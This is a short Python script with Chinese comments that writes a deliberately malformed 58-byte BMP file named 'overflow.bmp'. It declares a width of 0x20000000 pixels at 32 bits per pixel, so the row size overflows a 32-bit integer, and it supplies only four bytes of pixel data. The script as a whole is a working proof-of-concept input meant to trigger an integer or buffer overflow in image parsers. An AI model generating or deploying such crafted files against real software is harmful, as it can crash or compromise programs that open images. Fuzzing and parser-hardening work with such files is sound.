1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
#!/usr/bin/env python3
import struct
width = 0x20000000 # 536,870,912
height = 1
bpp = 32
# BMP文件头(14字节)
file_header = b'BM'
file_header += struct.pack('<I', 58) # 文件大小
file_header += struct.pack('<HH', 0, 0) # 保留
file_header += struct.pack('<I', 54) # 像素偏移
# DIB头(40字节)
dib_header = struct.pack('<I', 40) # 头大小
dib_header += struct.pack('<i', width) # 宽度
dib_header += struct.pack('<i', height) # 高度
dib_header += struct.pack('<H', 1) # 平面
dib_header += struct.pack('<H', bpp) # BPP
dib_header += struct.pack('<I', 0) # 压缩
dib_header += struct.pack('<I', 0) # 图像大小
dib_header += struct.pack('<i', 2835) # X ppm
dib_header += struct.pack('<i', 2835) # Y ppm
dib_header += struct.pack('<I', 0) # 颜色
dib_header += struct.pack('<I', 0) # 重要颜色
pixel_data = b'\x00\x00\x00\x00'
with open('overflow.bmp', 'wb') as f:
f.write(file_header + dib_header + pixel_data)
print(f"Created overflow.bmp (58 bytes)")
|